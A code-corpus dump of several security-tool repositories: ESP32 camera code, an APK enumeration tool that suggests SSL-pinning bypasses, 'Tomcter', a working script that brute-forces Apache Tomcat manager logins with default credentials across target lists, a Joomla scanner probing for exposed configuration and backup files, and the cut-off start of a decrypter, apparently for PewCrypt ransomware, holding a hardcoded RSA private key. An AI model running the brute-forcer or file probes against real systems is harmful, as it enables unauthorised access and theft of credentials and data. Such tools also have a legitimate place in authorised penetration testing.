#define PWDN_GPIO_NUM 32
#define RESET_GPIO_NUM -1
#define XCLK_GPIO_NUM 0
#define SIOD_GPIO_NUM 26
#define SIOC_GPIO_NUM 27
#define Y9_GPIO_NUM 35
#define Y8_GPIO_NUM 34
#define Y7_GPIO_NUM 39
#define Y6_GPIO_NUM 36
#define Y5_GPIO_NUM 21
#define Y4_GPIO_NUM 19
#define Y3_GPIO_NUM 18
#define Y2_GPIO_NUM 5
#define VSYNC_GPIO_NUM 25
#define HREF_GPIO_NUM 23
#define PCLK_GPIO_NUM 22
OV5640 ov5640 = OV5640();
void setup() {
Serial.begin(115200);
camera_config_t config;
config.ledc_channel = LEDC_CHANNEL_0;
config.ledc_timer = LEDC_TIMER_0;
config.pin_d0 = Y2_GPIO_NUM;
config.pin_d1 = Y3_GPIO_NUM;
config.pin_d2 = Y4_GPIO_NUM;
config.pin_d3 = Y5_GPIO_NUM;
config.pin_d4 = Y6_GPIO_NUM;
config.pin_d5 = Y7_GPIO_NUM;
config.pin_d6 = Y8_GPIO_NUM;
config.pin_d7 = Y9_GPIO_NUM;
config.pin_xclk = XCLK_GPIO_NUM;
config.pin_pclk = PCLK_GPIO_NUM;
config.pin_vsync = VSYNC_GPIO_NUM;
config.pin_href = HREF_GPIO_NUM;
config.pin_sscb_sda = SIOD_GPIO_NUM;
config.pin_sscb_scl = SIOC_GPIO_NUM;
config.pin_pwdn = PWDN_GPIO_NUM;
config.pin_reset = RESET_GPIO_NUM;
config.xclk_freq_hz = 20000000;
config.pixel_format = PIXFORMAT_JPEG;
config.frame_size = FRAMESIZE_VGA;
config.jpeg_quality = 10;
config.fb_count = 2;
esp_err_t err = esp_camera_init(&config);
if (err != ESP_OK) {
Serial.printf("Camera init failed with error 0x%x", err);
return;
}
sensor_t* sensor = esp_camera_sensor_get();
ov5640.start(sensor);
if (ov5640.focusInit() == 0) {
Serial.println("OV5640_Focus_Init Successful!");
}
if (ov5640.autoFocusMode() == 0) {
Serial.println("OV5640_Auto_Focus Successful!");
}
}
void loop() {
uint8_t rc = ov5640.getFWStatus();
Serial.printf("FW_STATUS = 0x%x\n", rc);
if (rc == -1) {
Serial.println("Check your OV5640");
} else if (rc == FW_STATUS_S_FOCUSED) {
Serial.println("Focused!");
} else if (rc == FW_STATUS_S_FOCUSING) {
Serial.println("Focusing!");
} else {
}
camera_fb_t* fb = esp_camera_fb_get();
if (!fb) {
Serial.println("Camera capture failed");
esp_camera_fb_return(fb);
return;
}
if (fb->format != PIXFORMAT_JPEG) {
Serial.println("Non-JPEG data not implemented");
esp_camera_fb_return(fb);
return;
}
// Draw Image on the display or Send Image to the connected device!
// With (fb->buf, fb->len);
esp_camera_fb_return(fb);
}
|
000pp/Apepe
| 1,984 |
README.md
|
# 📲 Apepe
> 📲 Enumerate information from an app based on the APK file
<div align="center">
<img src="https://i.imgur.com/0qh6sHq.jpg" width="850">
</div>
<br>
<p align="center">
<img src="https://img.shields.io/github/license/oppsec/Apepe?color=orange&logo=github&logoColor=orange&style=for-the-badge">
<img src="https://img.shields.io/github/issues/oppsec/Apepe?color=orange&logo=github&logoColor=orange&style=for-the-badge">
<img src="https://img.shields.io/github/stars/oppsec/Apepe?color=orange&label=STARS&logo=github&logoColor=orange&style=for-the-badge">
<img src="https://img.shields.io/github/forks/oppsec/Apepe?color=orange&logo=github&logoColor=orange&style=for-the-badge">
</p>
___
### 🕵️ What is Apepe?
🕵️ **Apepe** is a project developed to help to capture informations from a Android app through his APK file. It can be used to extract the content, get app settings, suggest SSL Pinning bypass based on the app detected language, extract deeplinks from AndroidManifest.xml, JSONs and DEX files.
<br>
### ⚡ Getting started
A quick guide of how to install and use Apepe.
1. `git clone https://github.com/oppsec/Apepe.git`
2. `pip install -r requirements.txt --break-system-packages`
3. `python3 main -h`
<br>
### ✨ Features
- List the activies, permissions, services, and libraries used by the app
- Identify the app development language based on classes name
- Suggest SSL Pinnings bypass with the `-l` flag
- Find deeplinks in DEX, JSONs files and AndroidManifest.xml with the `-d` flag
<br>
### 🖼️ Preview
<img src="https://i.imgur.com/myZOPz7.png" width=800>
<br>
### 🔨 Contributing
A quick guide of how to contribute with the project.
1. Create a fork from Apepe repository
2. Download the project with `git clone https://github.com/your/Apepe.git`
3. `cd Apepe/`
4. Make your changes
5. Commit and make a git push
6. Open a pull request
<br>
### ⚠️ Warning
- The developer is not responsible for any malicious use of this tool.
|
000pp/Apepe
| 5,812 |
src/apepe/main.py
|
from rich.console import Console
console = Console()
from os import path, chdir
from pathlib import Path
from zipfile import ZipFile, BadZipFile
from shutil import rmtree
from androguard.core.apk import APK
from androguard.core.dex import DEX
from src.apepe.modules.suggest import suggest_sslpinning
from src.apepe.modules.deeplink import scraper
from src.apepe.modules.exported import exported
from loguru import logger
logger.remove(0)
def perform_checks(apk_file, list_scripts, deeplink) -> None:
"""
This function is responsible to check if the APK file exists and
if the extension is .apk
"""
global args_list_scripts
args_list_scripts = list_scripts
global args_deeplink
args_deeplink = deeplink
file_name: str = apk_file
check_if_file: bool = path.isfile(file_name)
check_if_file_exists: bool = path.exists(file_name)
check_extension: bool = file_name.endswith(".apk")
if not(check_if_file or check_if_file_exists):
console.print("[red][!][/] You have specified an invalid or non existent file or directory")
return True
if not(check_extension):
console.print("[red][!][/] File extension is not [b].apk[/], please check your file or input")
return True
console.print(f"[yellow][!][/] APK: [yellow]{file_name}[/]", highlight=False)
extract_apk(file_name)
def extract_apk(file_name) -> None:
"""
This function will create a folder with the same name as of APK file and
extract the content from the apk file to that folder
"""
normal_dir_name: str = f"{file_name.rstrip('.apk')}_extracted"
current_dir = Path.cwd()
target_dir = current_dir.joinpath(normal_dir_name)
try:
console.print(f"[yellow][!][/] Extraction folder: [yellow]{target_dir}[/]", highlight=False)
if target_dir.exists():
rmtree(target_dir)
target_dir.mkdir(parents=True, exist_ok=True)
with ZipFile(file_name, mode="r") as archive:
archive.extractall(path=normal_dir_name)
apk_info_extraction(file_name, normal_dir_name)
except FileNotFoundError:
console.print(f"[red][!][/] APK file '{file_name}' not found.")
except PermissionError:
console.print(f"[red][!][/] Permission denied while creating {target_dir}.")
except (OSError, BadZipFile) as error:
console.print(f"[red][!][/] Error processing APK: {error}")
def apk_info_extraction(file_name, normal_dir_name) -> None:
"""
Uses androguard's library functions to extract APK relevant information such as:
Package Name, App Name, Activies, Permissions...
"""
apk_file = APK(file_name)
console.print(f"\n[green][+][/] Package name: {apk_file.get_package()}")
console.print("\n[green][+][/] App signature(s):", highlight=False)
package_signature_V1 : bool = apk_file.is_signed_v1()
package_signature_V3 : bool = apk_file.is_signed_v2()
package_signature_V2 : bool = apk_file.is_signed_v3()
console.print(f" \\_ V1: {package_signature_V1}\n \\_ V2: {package_signature_V2}\n \\_ V3: {package_signature_V3}")
# Get app activities, services, providers and receivers
exported(apk_file)
# Get list of permissions used by the app
try:
app_permissions = apk_file.get_details_permissions()
if len(app_permissions) != 0:
console.print("\n[green][+][/] List of permissions:", highlight=False)
for permission in app_permissions:
console.print(f" \\_ {permission}")
else:
console.print("\n[red][!][/] No permission(s) found", highlight=False)
except Exception as error:
console.print(f"\n[red][!][/] Impossible to list permissions: {error}", highlight=False)
pass
# Get list of libraries used by the app
try:
app_libraries = apk_file.get_libraries()
if len(app_libraries) != 0:
console.print("\n[green][+][/] App libraries:", highlight=False)
for library in app_libraries:
console.print(f" \\_ {library}")
else:
console.print("\n[red][!][/] No libraries found", highlight=False)
except Exception as error:
console.print(f"\n[red][!][/] Impossible to list libraries: {error}", highlight=False)
pass
check_app_dev_lang(normal_dir_name, apk_file)
def check_app_dev_lang(normal_dir_name, apk_file) -> None:
"""
Try to detect the app development language through classes name
"""
chdir(normal_dir_name)
console.print(f"\n[yellow][!][/] Extracting APK classes", highlight=False)
try:
dvm = DEX(apk_file.get_dex())
classes = dvm.get_classes()
lang_patterns = {
'Lio/flutter/': 'Flutter',
'Lcom/facebook/react/': 'React Native',
'Landroidx/work/Worker': 'Java'
}
detected_lang = None
for apk_class in classes:
class_name = apk_class.get_name()
for pattern, lang in lang_patterns.items():
if pattern in class_name:
detected_lang = lang
break
if detected_lang:
break
if detected_lang:
console.print(f"[green][+][/] Development language detected: [b]{detected_lang}[/b]")
if args_list_scripts:
console.print(suggest_sslpinning(detected_lang))
else:
console.print("[red][!][/] Impossible to detect the app language")
except Exception as error:
console.print(f"[red][!][/] Error in [b]check_app_dev_lang[/b] function: {error}")
return
if args_deeplink:
scraper(normal_dir_name, apk_file)
console.print("\n[yellow][!][/] Finished!")
|
000pp/Apepe
| 4,821 |
src/apepe/modules/deeplink.py
|
import json
import re
from rich.console import Console
console = Console()
from pathlib import Path
from androguard.core.dex import DEX
from androguard.core.apk import APK
from lxml.etree import tostring
DEEPLINK_PATTERN = r'\b\w+://[^\s]+'
def dex_handler(file_path: Path) -> list:
"""
Extract readable strings from a .dex file and filter for deeplinks,
excluding those that start with 'http://', 'https://' or 'parse'
"""
results = []
try:
with file_path.open('rb') as dex_file:
content = DEX(dex_file.read())
strings = content.get_strings()
results = [
s for s in strings
if isinstance(s, str)
and re.search(DEEPLINK_PATTERN, s)
and not ('http://' in s or 'https://' in s or 'parse' in s)
]
except Exception as error:
console.print(f"[red][!][/] Failed to read DEX file [yellow]{file_path}[/]: {error}")
return []
if len(results) == 0:
return f"[red][!][/] No deeplinks found in [yellow]{file_path}[/]\n"
else:
return "\n".join(results) + "\n"
def json_handler(file_path: Path) -> list:
"""
Extract readable strings from a .json file and filter for deeplinks,
excluding those that start with 'http://' or 'https://'.
"""
results = []
try:
with file_path.open('r', encoding='utf-8') as json_file:
content = json.load(json_file)
stack = [content]
while stack:
obj = stack.pop()
if isinstance(obj, dict):
stack.extend(obj.values())
elif isinstance(obj, list):
stack.extend(obj)
elif isinstance(obj, str):
if re.search(DEEPLINK_PATTERN, obj) and not ('http://' in obj or 'https://' in obj or 'parse' in obj):
results.append(obj)
except Exception as error:
console.print(f"[red][!][/] Failed to read JSON file [yellow]{file_path}[/]: {error}")
return []
if len(results) == 0:
return f"[red][!][/] No deeplinks found in [yellow]{file_path}[/]\n"
else:
return "\n".join(results) + "\n"
def android_manifest_handler(apk_file: str) -> None:
"""
Extract readable intent-filter (scheme, host and path) from AndroidManifest.xml
"""
console.print("[green][+][/] AndroidManifest.xml:")
results = []
seen = set()
try:
manifest = APK.get_android_manifest_xml(apk_file)
manifest_content: str = tostring(manifest, pretty_print=True, encoding="unicode")
if len(manifest_content) == 0:
console.print(f"[red][!][/] AndroidManifest.xml content is 0 - [yellow]{apk_file}[/]")
else:
for intent_filter in manifest.findall(".//intent-filter"):
data_tag = intent_filter.find("data")
if data_tag is not None:
scheme = data_tag.get("{http://schemas.android.com/apk/res/android}scheme", "")
host = data_tag.get("{http://schemas.android.com/apk/res/android}host", "")
path = data_tag.get("{http://schemas.android.com/apk/res/android}path", "")
formatted_url = f"{scheme}://{host}{path}" if scheme and host and path else f"{scheme}://{host}"
if formatted_url not in seen:
results.append(formatted_url)
if len(results) == 0:
return f"[red][!][/] No results for [yellow]{apk_file}[/]\n"
else:
return "\n".join(results) + "\n"
except Exception as error:
console.print(f"[red][!][/] Failed to read AndroidManifest.xml file [yellow]{apk_file}[/]: {error}")
return []
def scraper(extraction_path: str, apk_file: str) -> None:
"""
This module aims to get all the readable strings from the extracted files (JSON and DEX)
and search for possible deeplinks.
extraction_path: Path to the extracted content directory
"""
path = Path(extraction_path)
console.print(f"\n[yellow][!][/] Searching for [yellow]deeplinks[/] [yellow]({path}[/])")
console.print(android_manifest_handler(apk_file), highlight=False)
extensions = ['.dex', '.json']
for extension in extensions:
file_paths = path.glob(f'**/*{extension}')
for file_path in file_paths:
file_path_str = str(file_path)
console.print(f"[yellow][!][/] Checking file: [yellow]{file_path_str}[/]")
if(extension == '.dex'):
console.print(dex_handler(file_path), highlight=False)
if(extension == '.json'):
console.print(json_handler(file_path), highlight=False)
|
000pp/Apepe
| 1,131 |
src/apepe/modules/exported.py
|
from rich.console import Console
console = Console()
def exported(target) -> None:
"""
Lists activities, services, receivers, and providers from AndroidManifest.xml file.
"""
manifest = target.get_android_manifest_xml()
endpoints = ["activity", "service", "receiver", "provider"]
for endpoint in endpoints:
console.print(f"\n[green][+][/] {endpoint.capitalize()}:", highlight=False)
if(endpoint == "activity"):
console.print(f" [green]\\_[/] Main Activity: [yellow]{target.get_main_activity()}[/]")
for element in manifest.findall(f".//{endpoint}"):
name = element.get("{http://schemas.android.com/apk/res/android}name")
exported = element.get("{http://schemas.android.com/apk/res/android}exported")
if exported is None:
has_intent_filter = element.find('.//intent-filter') is not None
exported = 'True' if has_intent_filter else 'False'
color = "green" if exported.lower() == 'true' else 'red'
console.print(f' \\_ [yellow]{name}[/] | Exported: [{color}]{exported}[/]')
|
000pp/tomcter
| 2,320 |
README.md
|
# 😹 Tomcter
> Stealing credentials from a yellow cat
<div align="center">
<img src="https://i.imgur.com/ePw5RQ5.png">
</div>
<br>
<p align="center">
<img src="https://img.shields.io/github/license/oppsec/tomcter?color=yellow&logo=github&logoColor=yellow&style=for-the-badge">
<img src="https://img.shields.io/github/issues/oppsec/tomcter?color=yellow&logo=github&logoColor=yellow&style=for-the-badge">
<img src="https://img.shields.io/github/stars/oppsec/tomcter?color=yellow&label=STARS&logo=github&logoColor=yellow&style=for-the-badge">
<img src="https://img.shields.io/github/forks/oppsec/tomcter?color=yellow&logo=github&logoColor=yellow&style=for-the-badge">
<img src="https://img.shields.io/github/languages/code-size/oppsec/tomcter?color=yellow&logo=github&logoColor=yellow&style=for-the-badge">
</p>
___
<br>
<p> 😹 <b>Tomcter</b> is a python tool developed to bruteforce Apache Tomcat manager login with default credentials. </p>
<br>
## ⚡ Installing / Getting started
A quick guide of how to install and use Tomcter.
1. Clone the repository with `git clone https://github.com/oppsec/tomcter.git`
2. Install required libraries with `pip install -r requirements.txt`
### Single Target
`python3 main.py -u http://host`
<br>
### Multiple Targets
`python3 main.py -l file.txt`
<br>
### 🐳 Docker
If you want to use Tomcter in a Docker container, follow this commands:
1. Clone the repository with `git clone https://github.com/oppsec/tomcter.git`
2. Build the image with `sudo docker build -t tomcter:latest .`
3. Run the container with `sudo docker run tomcter:latest`
<br><br>
### ⚙️ Pre-requisites
- [Python 3](https://www.python.org/downloads/) installed on your machine.
- Install the libraries with `pip3 install -r requirements.txt`
<br><br>
### ✨ Features
- Works with ProxyChains
- Fast Brute-Force
- Low RAM and CPU usage
- Open-Source
- Python ❤️
<br><br>
### 🔨 Contributing
A quick guide of how to contribute with the project.
1. Create a fork from Tomcter repository
2. Clone the repository with `git clone https://github.com/your/tomcter.git`
3. Type `cd tomcter/`
4. Create a branch and make your changes
5. Commit and make a git push
6. Open a pull request
<br><br>
### ⚠️ Warning
- The developer is not responsible for any malicious use of this tool.
|
000pp/tomcter
| 1,031 |
src/core/manager.py
|
from random import choice
def get_file_data(path) -> str:
" Return the content inside text file "
with open(path) as file:
return file.read()
def get_usernames() -> list:
" Get all usernames inside usernames.txt file "
raw = get_file_data('src/core/data/usernames.txt')
raw = raw.split('\n')
return raw
def get_passwords() -> list:
" Get all passwords inside passwords.txt file "
raw = get_file_data('src/core/data/passwords.txt')
raw = raw.split('\n')
return raw
def user_agent() -> str:
""" Return a random user-agent from user-agents.txt file """
user_agents_file: str = "src/core/data/user-agents.txt"
with open(user_agents_file, 'r+') as user_agents:
user_agent = user_agents.readlines()
user_agent = choice(user_agent)
user_agent = user_agent.strip()
return str(user_agent)
headers = {'User-Agent': user_agent()}
props = {
"verify": False,
"timeout": 25,
"allow_redirects": True,
"headers": headers
}
|
000pp/tomcter
| 2,234 |
src/core/bruteforce.py
|
from requests import get
from base64 import b64encode
from time import sleep
from rich.console import Console
console = Console()
from urllib3 import disable_warnings
disable_warnings()
from src.core.manager import props, get_usernames, get_passwords
def check_and_connect(target):
url: str = f"{target}/manager/html"
try:
response = get(url, **props)
body: str = response.text
status_code: str = response.status_code
if (status_code == 401 or status_code == 403 or status_code == 200):
if ('Tomcat' in body or 'tomcat' in body):
bruteforce(url)
else:
console.print(f"[red][-] Connection problems with {target} | {status_code} [/]")
except Exception as e:
raise e
except ConnectionRefusedError:
pass
def connect(args) -> str:
""" Check if target is alive and try to connect with Apache Tomcat login page """
target = args.u
target_list = args.l
if target:
check_and_connect(target)
elif target_list:
with open(target_list, "r+") as file:
content = file.readlines()
for target in content:
if target:
check_and_connect(target.rstrip())
def bruteforce(url) -> str:
""" Bruteforce Apache Tomcat login with default credentials """
console.print(f"[green][+][/] Starting bruteforce on [bold white]{url}", highlight=False)
console.print(f"[green][+][/] {len(get_usernames())} usernames loaded. {len(get_passwords())} passwords loaded\n", highlight=False)
for user, password in zip(get_usernames(), get_passwords()):
response = get(url, verify=False, auth=(user, password))
sleep(1)
status_code: str = response.status_code
console.print(f'[yellow][!][/] User: {user} - Password: {password} - {status_code}', highlight=False)
if (status_code == 200):
console.print(f"\n[green][+][/] Credentials found: {user} - {password} - {status_code}", highlight=False)
console.print(f"[green][+][/] Bruteforce in {url} is done", highlight=False)
return
console.print(f"\n[green][+][/] Bruteforce in {url} is done", highlight=False)
|
000pp/juumla
| 1,350 |
CHANGELOG.md
|
# 🎉 0.1.6 - 02/05/2024
- Added check to config and backup files scanner if result is not HTML response
- Changed print to console.print from rich
- Changed interface
- Improved the code
<br><br>
# 🎉 0.1.5 - 08/07/2023
- Improved the code
- Fixed error when trying to get Joomla version on get_version_second() func
- Improved backup and configuration file scanner module
- Fixed not initializing/closing rich markup correct on get_version_second() func
- Improved Exception treatment
- Added docker-compose.yml file to emulate an Joomla environment to test the tool
- Fixed get_user_agent() returning byte instead of string
- Improved random user-agent getter from get_user_agent() func
<br><br>
# 🎉 0.1.4 - 02/06/2022
- Improved the code
- Removed useless checks
- Changed Juumla banner
- Changed status messages
<br><br>
# 🎉 0.1.3b - 12/01/2022
- Updated libraries version
- Improved the code a bit
<br><br>
# 🎉 0.1.2a - 27/09/2021
- Made functions description more readable
- Added more whitespaces on the code
- Changed some messages to something like: "Oh I got that"
- Added more tags to requests headers
<br><br>
# 🎉 0.1.2 - 08/09/2021
- Removed automatic screen clear
- Changed ascii banner
- Added backup files to files searcher module
- Fixed version bug in vulnerability scanner (thanks @d4op)
- Updated banner image from README
|
000pp/juumla
| 2,752 |
README.md
|
# 🦁 Juumla
<div align="center">
<img src="https://i.imgur.com/0RvLKOP.png" width="900">
</div>
<br>
<p align="center">
<img src="https://img.shields.io/github/license/oppsec/juumla?color=yellow&logo=github&style=for-the-badge">
<img src="https://img.shields.io/github/issues/oppsec/juumla?color=yellow&logo=github&style=for-the-badge">
<img src="https://img.shields.io/github/stars/oppsec/juumla?color=yellow&label=STARS&logo=github&style=for-the-badge">
<img src="https://img.shields.io/github/v/release/oppsec/juumla?color=yellow&logo=github&style=for-the-badge">
<img src="https://img.shields.io/github/languages/code-size/oppsec/juumla?color=yellow&logo=github&style=for-the-badge">
</p>
___
<br>
<p> 🦁 <b>Juumla</b> Juumla is a python tool created to identify Joomla version, scan for vulnerabilities and sensitive files. </p>
<br>
## ⚡ Installing / Getting started
<p> A quick guide on how to install and use Juumla. </p>
```
1. Clone the repository - git clone https://github.com/oppsec/juumla.git
2. Install the libraries - pip3 install -r requirements.txt
3. Run Juumla - python3 main.py -u https://example.com
```
<br>
### 🐳 Docker
If you want to run Juumla in a Docker container, follow these commands:
```
1. Clone the repository - git clone https://github.com/oppsec/juumla.git
2. Build the image - sudo docker build -t juumla:latest .
3. Run container - sudo docker run juumla:latest
```
If you want to create an Joomla environment in a Docker container, follow these commands:
```
1. Clone the repository - git clone https://github.com/oppsec/juumla.git (or download the docker-compose.yml file)
2. Install docker-compose (e.g: sudo apt install docker-compose)
3. sudo docker-compose up
4. Access http://localhost:8080/
The default root password is: example
The default database name is: joomladb
The default DBMS is: MySQL 5.6
```
<br><br>
### ⚙️ Pre-requisites
- [Python 3](https://www.python.org/downloads/) installed on your machine.
- Install the libraries with `pip3 install -r requirements.txt`
<br><br>
### ✨ Features
- Fast scan
- Low RAM and CPU usage
- Detect Joomla version
- Find config and backup files
- Scan for vulnerabilities based on the Joomla version
- Open-Source
<br><br>
### 📚 To-Do
- [ ] Update vulnerabilities database
- [x] Improve Joomla detection methods
- [x] Improve code optimization
<br><br>
### 🔨 Contributing
A quick guide on how to contribute to the project.
```
1. Create a fork from Juumla repository
2. Download the project with git clone https://github.com/your/juumla.git
3. Make your changes
4. Commit and makes a git push
5. Open a pull request
```
<br><br>
### ⚠️ Warning
- The developer is not responsible for any malicious use of this tool.
|
000pp/juumla
| 1,339 |
src/juumla/main.py
|
from requests import get, exceptions
from rich.console import Console
console = Console()
from urllib3 import disable_warnings
disable_warnings()
from src.juumla.settings import props
from src.juumla.modules.version import get_version
def perform_checks(args) -> None:
" Connect to the target and check if status code is positive "
global url
url = args.u
try:
response: str = get(url, **props)
status_code: int = response.status_code
body: str = response.text
if response.ok:
console.print(f"[green][+][/] Connected successfully to [yellow]{url}[/]", highlight=False)
detect_joomla(body)
else:
console.print(f"[red][-][/] Host returned status code: {status_code}", highlight=False)
return
except exceptions as error:
console.print(f"[red][-][/] Error when trying to connect to {url}: {error}", highlight=False)
return
def detect_joomla(body) -> None:
" Check if meta tag 'generator' contains Joomla! in body response "
console.print("[yellow][!][/] Checking if target is running Joomla...", highlight=False)
if '<meta name="generator" content="Joomla!' in body:
get_version(url)
else:
console.print("[red][-][/] Target is not running Joomla apparently")
return
|
000pp/juumla
| 2,160 |
src/juumla/modules/version.py
|
from requests import get, exceptions
from xmltodict import parse, expat
from rich.console import Console
console = Console()
from urllib3 import disable_warnings
disable_warnings()
from src.juumla.settings import props
from src.juumla.modules.vulns import vuln_manager
app_xml_header = "application/xml"
text_xml_header = "text/xml"
def get_version(url: str) -> None:
" Get Joomla version based on XML files response "
console.print("\n[yellow][!][/] Running Joomla version scanner! [cyan](1/3)[/]", highlight=False)
try:
xml_file = f"{url}/language/en-GB/en-GB.xml"
response: str = get(xml_file, **props)
headers: str = response.headers
if response.ok and app_xml_header or text_xml_header in headers:
data = parse(response.content)
version = data["metafile"]["version"]
console.print(f"[green][+][/] Joomla version is: {version}", highlight=False)
vuln_manager(url, version)
else:
console.print("[yellow][!][/] Couldn't get Joomla version, trying other way...", highlight=False)
get_version_second(url)
except Exception as error:
console.print(f"[red][-][/] Error when trying to get {url} Joomla version in first method: {error}", highlight=False)
return
def get_version_second(url) -> None:
""" Last try to get Joomla version """
manifest_file = f"{url}/administrator/manifests/files/joomla.xml"
try:
response = get(manifest_file, **props)
headers = response.headers
if response.ok and app_xml_header or text_xml_header in headers:
data = parse(response.content)
version = data["extension"]["version"]
console.print(f"[green][+][/] Joomla version is: {version}", highlight=False)
vuln_manager(url, version)
else:
console.print("[red][-][/] Couldn't get Joomla version, stopping...", highlight=False)
return
except Exception as error:
console.print(f"[red][-][/] Error when trying to get {url} Joomla version in second method: {error}", highlight=False)
return
|
000pp/juumla
| 4,744 |
src/juumla/modules/files.py
|
from requests import get, exceptions
from rich.console import Console
console = Console()
from src.juumla.settings import props
def file_scan(file_to_check: str, file_url: str) -> None:
try:
response = get(f"{file_url}/{file_to_check}", **props)
if response.ok and 'text/html' not in response.headers.get('Content-Type', '').lower():
console.print(f"[green][+][/] Sensitive file found: [yellow]{response.url}[/]", highlight=False)
elif response.ok:
console.print(f"[yellow][!][/] File is HTML, not a sensitive file: {response.url}", highlight=False)
except Exception as error:
console.print(f"[red][-][/] Error when trying to find sensitive files: {error}", highlight=False)
def files_manager(url) -> None:
" Search for sensitive readable backup or config files on target "
console.print("\n[yellow][!][/] Running backup and config files scanner! [cyan](3/3)[/]", highlight=False)
config_files = ['configuration.php~','configuration.php.new','configuration.php.new~','configuration.php.old','configuration.php.old~','configuration.bak','configuration.php.bak','configuration.php.bkp','configuration.txt','configuration.php.txt','configuration - Copy.php','configuration.php.swo','configuration.php_bak','configuration.orig','configuration.php.save','configuration.php.original','configuration.php.swp','configuration.save','.configuration.php.swp','configuration.php1','configuration.php2','configuration.php3','configuration.php4','configuration.php4','configuration.php6','configuration.php7','configuration.phtml','configuration.php-dist']
bkp_files = ['1.gz','1.rar','1.save','1.tar','1.tar.bz2','1.tar.gz','1.tgz','1.tmp','1.zip','2.back','2.backup','2.gz','2.rar','2.save','2.tar','2.tar.bz2','2.tar.gz','2.tgz','2.tmp','2.zip','backup.back','backup.backup','backup.bak','backup.bck','backup.bkp','backup.copy','backup.gz','backup.old','backup.orig','backup.rar','backup.sav','backup.save','backup.sql~','backup.sql.back','backup.sql.backup','backup.sql.bak','backup.sql.bck','backup.sql.bkp','backup.sql.copy','backup.sql.gz','backup.sql.old','backup.sql.orig','backup.sql.rar','backup.sql.sav','backup.sql.save','backup.sql.tar','backup.sql.tar.bz2','backup.sql.tar.gz','backup.sql.tgz','backup.sql.tmp','backup.sql.txt','backup.sql.zip','backup.tar','backup.tar.bz2','backup.tar.gz','backup.tgz','backup.txt','backup.zip','database.back','database.backup','database.bak','database.bck','database.bkp','database.copy','database.gz','database.old','database.orig','database.rar','database.sav','database.save','database.sql~','database.sql.back','database.sql.backup','database.sql.bak','database.sql.bck','database.sql.bkp','database.sql.copy','database.sql.gz','database.sql.old','database.sql.orig','database.sql.rar','database.sql.sav','database.sql.save','database.sql.tar','database.sql.tar.bz2','database.sql.tar.gz','database.sql.tgz','database.sql.tmp','database.sql.txt','database.sql.zip','database.tar','database.tar.bz2','database.tar.gz','database.tgz','database.tmp','database.txt','database.zip','joom.back','joom.backup','joom.bak','joom.bck','joom.bkp','joom.copy','joom.gz','joomla.back','Joomla.back','joomla.backup','Joomla.backup','joomla.bak','Joomla.bak','joomla.bck','Joomla.bck','joomla.bkp','Joomla.bkp','joomla.copy','Joomla.copy','joomla.gz','Joomla.gz','joomla.old','Joomla.old','joomla.orig','Joomla.orig','joomla.rar','Joomla.rar','joomla.sav','Joomla.sav','joomla.save','Joomla.save','joomla.tar','Joomla.tar','joomla.tar.bz2','Joomla.tar.bz2','joomla.tar.gz','Joomla.tar.gz','joomla.tgz','Joomla.tgz','joomla.zip','Joomla.zip','joom.old','joom.orig','joom.rar','joom.sav','joom.save','joom.tar','joom.tar.bz2','joom.tar.gz','joom.tgz','joom.zip','site.back','site.backup','site.bak','site.bck','site.bkp','site.copy','site.gz','site.old','site.orig','site.rar','site.sav','site.save','site.tar','site.tar.bz2','site.tar.gz','site.tgz','site.zip','sql.zip.back','sql.zip.backup','sql.zip.bak','sql.zip.bck','sql.zip.bkp','sql.zip.copy','sql.zip.gz','sql.zip.old','sql.zip.orig','sql.zip.save','sql.zip.tar','sql.zip.tar.bz2','sql.zip.tar.gz','sql.zip.tgz','upload.back','upload.backup','upload.bak','upload.bck','upload.bkp','upload.copy','upload.gz','upload.old','upload.orig','upload.rar','upload.sav','upload.save','upload.tar','upload.tar.bz2','upload.tar.gz','upload.tgz','upload.zip']
# Scan for configuration files
for config_file in config_files:
file_scan(config_file, url)
# Scan for generic backup files
for bkp_file in bkp_files:
file_scan(bkp_file, url)
console.print("[yellow][!][/] Backup and config files scanner finished! [cyan](3/3)[/]", highlight=False)
|
000JustMe/PewCrypt
| 4,434 |
Decrypter/src/main/Decrypter.java
|
package main;
import java.util.Base64;
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.SecretKeySpec;
import java.io.File;
import java.io.IOException;
import java.nio.file.Files;
import java.security.InvalidKeyException;
import java.security.Key;
import java.security.KeyFactory;
import java.security.NoSuchAlgorithmException;
import java.security.PrivateKey;
import java.security.spec.InvalidKeySpecException;
import java.security.spec.PKCS8EncodedKeySpec;
public class Decrypter {
private String DEFAULT_RSA_KEY = "MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDThEl/fSuUgIAGJCfcLzmhk4/KmxhKqBCkVqAECRWii5DfGDI2Skkp7TrWMljBUwd4dnKjBlle0UFaOBAmq1GZLZmvfaEQfhm1qyMNkPkY+T6RuanZ5Y509I2Usxpy/ZKiwqX6Us5mCSMvPhHIf7dNk1pOtvS61Ds22frZ/esf6/jiLNo1MhlDBSEmRytr6hpoWgIEkEg12e4wmhlNVlruRZydrvVCa7dbSDfEo315wLbNniTJTB/aUifBn0JsTg56iem/bsZ7otuaC99Yd9Alnbs8T0C46jRoOJ7mRhn+VA5Jto1O+Qu7M4tMKp3VX1hVKggOh5P4vTJ1mRcAJp4/AgMBAAECggEAd16/A/4mLCbhGZYqEK9uPOvESLmC2g9DZRumLuDZnuRZHC7Rl6YQ6GKDxAKh6GjtXGSsiai5ozNBSKM/KjOhV2tOwqWJ0n74D3jHzY41poxzbVZ0rw5IeWTSykrR8Hd+2/AyL7Wv2hHqE21aJ+c8EcHJQ4cpUo8X4/rdAU219kr1R6BLhrwhW6kxc9lPr+J/CWAdclxJXcvapuRXx0ipPm9Jut5xETCq8GnrMjdysSFXPMA5aJP52hm9RvjzCIPGKR/nm2jJVMsbD2x0CV6HJByT6MfzTluSEf309vCKM2stEOoC/wrXBfBtc7TUfZ4ntS1vhwyJTkZUcFz4ZKhhsQKBgQDym3lNydsxj5TTKsFRuurgDXKLcYZcIiLlm+pefxSB7HTqXJsVfpLjp0NGiUmY1PVVVCGLZRC09KMSLN6qB1VBuEBnebsiIKSuGadAy4uiIzd4cORmDyj+DyCW5k4pnJ28tnYPYkvJoPjkZNkEf3n9HWFjxOMkOuZnfa1oCch+ewKBgQDfMXD7p7YlEZhxG+kNlK/GsnQhfdVATDbGOcy9euCYr0BeBJwhxXfsrrYi6ehqR+EnQ4e2zXGYrPxKm+TPCWh+tJiMOu3Y1mMUuAEJNm1Yjv3ewVAb